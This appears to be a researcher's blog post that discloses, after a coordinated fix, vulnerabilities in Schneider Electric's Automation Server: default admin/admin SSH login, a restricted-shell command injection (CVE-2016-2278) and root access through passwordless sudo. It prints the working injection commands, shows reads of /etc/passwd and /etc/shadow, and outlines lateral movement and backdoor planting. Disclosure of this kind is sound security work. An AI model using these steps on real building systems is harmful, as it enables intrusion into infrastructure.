Wednesday, March 2, 2016

[ICS] Schneider Electric Building Operation Automation Server Multiple Vulnerabilities

[ICS] Schneider Electric Building Operation Automation Server Multiple Vulnerabilities


Schneider Electric’s corporate headquarters is located in Paris, France, and it maintains offices in more than 100 countries worldwide.

The affected product, Automation Server, is a building automation system for small and medium-sized buildings. According to Schneider Electric, Automation Server is deployed in the Commercial Facilities sector. Schneider Electric estimates that this product is used worldwide.

Reported affected version:
Schneider Electric Building Operation Automation Server 
Firmware: Server
PRETTY_NAME=SE2Linux (Schneider Electric Embedded Linux) VERSION_ID=

Reported on: August 2015
Schneider Electric fix & public disclosure: 
Feb 25, 2016

Confirmed affected versions: 
Automation Server Series (AS, AS-P), v1.7 and prior

SE Point of Contact: 
Gregory Strauss
I must mention right now, that Greg has been instrumental and very proactive with taking up these issues professionally & bringing them to a closure / fix. Very open to discussion, and ran the entire RFD cycle smoothly. An asset to Schneider Electric.

Public Disclosure:
March 01, 2016

1. Weak credential management
CVE-ID: None [ Mitre, CVE? ]

There are two primary users:
a. root - password is not set by default - this is a problem as we will see later in the vuln findings
- By default, root cannot SSH in.
b. admin - default password is 'admin'
- Anyone can remotely ssh in to the device using default admin/admin login.

The system / application allows a) weak creds to start with, and more importantly, b) vulnerable versions lacks the mechanism to forcefully have the user change the initial password on first use or later. This has been fixed in the latest version.

2. OS Command Injection
CVE-ID: CVE-2016-2278

After logging in to the device over SSH, the 'admin' user - the only active, administrative user at this point - is provided a restricted shell (msh), which offers a small set of, application- specific functional options.

$ ssh <IP> -l admin 

Welcome! (use 'help' to list commands) 

admin@box:> release
PRETTY_NAME=SE2Linux (Schneider Electric Embedded Linux) VERSION_ID=


admin@box:> help
usage: help [command]
Type 'help [command]' for help on a specific command.

Available commands:
exit - exit this session
ps - report a snapshot of the current processes readlog - read log files
reboot - reboot the system
setip - configure the network interface
setlog - configure the logging
setsnmp - configure the snmp service
setsecurity - configure the security
settime - configure the system time
top - display Linux tasks
uptime - tell how long the system has been running release - tell the os release details

Attempting to run any different command will give an error message.

However, this restricted shell functionality (msh) can be bypassed to execute underlying system commands, by appending '| <command>' to any of the above set of commands:

admin@box:> uptime | ls
bin home lost+found root sys config include mnt run tmp dev lib opt sbin usr
etc localization proc share var

At this point, basically you have full (indirect) control over the server.

admin@box:> uptime | cat /etc/passwd 

app:x:500:500:Linux Application:/:/bin/false 
admin:x:1000:1000:Linux User,,,:/:/bin/msh

admin@box:> uptime | cat /etc/group 

3. Privilege Escalation / access to superuser 'root'
CVE-ID: None [ Mitre, CVE? ]

Since this is an administrative user, an attacker can exploit OS command injection to perform a variety of tasks from msh shell. But isn’t it better to get a root shell instead.!

As observed from Issue 1 above, root does not have a password set, and it is possible to use 'sudo -i' and become root.
Note: sudo is not presented / offered to 'admin' in the set of functional options available thru msh. It is required for tech guys / legit admins / SBO admins to manage the AS system and related functionality. Assumption from SE team is, a low-skilled attacker / regular, unsophisticated, non-technical user will not be able to figure it out. If someone does figure it out, he/she will be responsible enough not to go evill.!

admin@box:> sudo -i

We trust you have received the usual lecture from the local System Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility. 


root@box:~> cat /etc/shadow 


The Automation Server (AS) is one functional component of the larger, StruxureWare Building Operation platform (SBO) solution / environment. The AS password gets sync’d to SBO application rbac. With the new release, the default AS password will be forcefully changed, and msh has been sufficiently improved to mitigate against command injection.

Issue 3, however, persists. Anyone with access to msh shell, can still drop in to root shell, and have some fun.

In a realistic attack scenario, a threat actor would not stop at one AS box's root shell. Hashes would be dumped, cracked, and will be followed with password attacks on other reachable boxes (workstations, servers, applications, other AS boxes, & SBO application itself), targeting lateral and vertical movement across the 'locked-down', secure network environment. The AS box HAS to talk to SBO server, certain hosts / servers will always be accessible to-from AS box so admins can administer it, root shell will always be a great ally, be it sniffing network traffic for creds, network connections, login usernames, trusted hosts, or be it planting backdoor for persistent access, keystroke logging, data exfil etc. Fun just gets started with the first foothold.

AFAIK, the AS system is not a minimalistic, stripped down linux box, it has an application built into it to offer relevant, feature rich functionality. While the (threats, techniques, procedures) TTPs against it are not new, a widespread use and importantly types of industry sectors which utilize SE SBO/AS solution, make these issues High risk ones.


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The views, information & opinions expressed in this blog are my own and do not reflect the views of my current or former employers or employees or colleagues.